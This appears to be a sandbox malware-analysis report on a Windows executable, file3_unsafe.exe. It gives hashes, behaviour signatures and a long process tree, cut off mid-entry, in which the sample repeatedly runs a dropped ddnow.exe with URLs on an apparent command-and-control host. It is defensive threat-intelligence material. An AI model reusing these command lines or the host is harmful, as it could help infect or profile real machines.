Overview

overview

7

Static

static

3

file3_unsafe.exe

windows10-2004-x64

7

file3_unsafe.exe

windows11-ltsc_2024-x64

7

$_37_/ddnow.exe

windows10-2004-x64

1

$_37_/ddnow.exe

windows11-ltsc_2024-x64

1

$_37_/ddnow4.exe

windows10-2004-x64

1

$_37_/ddnow4.exe

windows11-ltsc_2024-x64

1

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/10/2026, 14:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    file3_unsafe.exe
  • Size 39KB
  • Sample261003-rja2lsdf58
  • SHA256 7aa9127853d3bd2095db9dfc2475a2f74246ea83e7d4ce8519b9c04a02749850
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
discovery

Malware Config

Signatures

  • Executes dropped EXE 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 64 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file3_unsafe.exe
    "C:\Users\Admin\AppData\Local\Temp\file3_unsafe.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3552
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1132
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4200
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6060
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4384
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:428
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:364
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5276
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3976
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5508
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5864
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5644
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5180
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3516
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4952
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4632
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1816
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1100
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2620
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3504
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3036
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1360
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5468
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4396
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5976
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4260
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4872
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3248
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4360
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4712
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4496
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2100
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5652
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1720
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3172
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1288
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3604
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2456
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1160
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3432
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1528
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5828
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:920
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3128
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:964
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3532
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1428
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5072
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5472
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3032
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4692
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5580
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4664
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4632
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:564
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1100
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2620
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
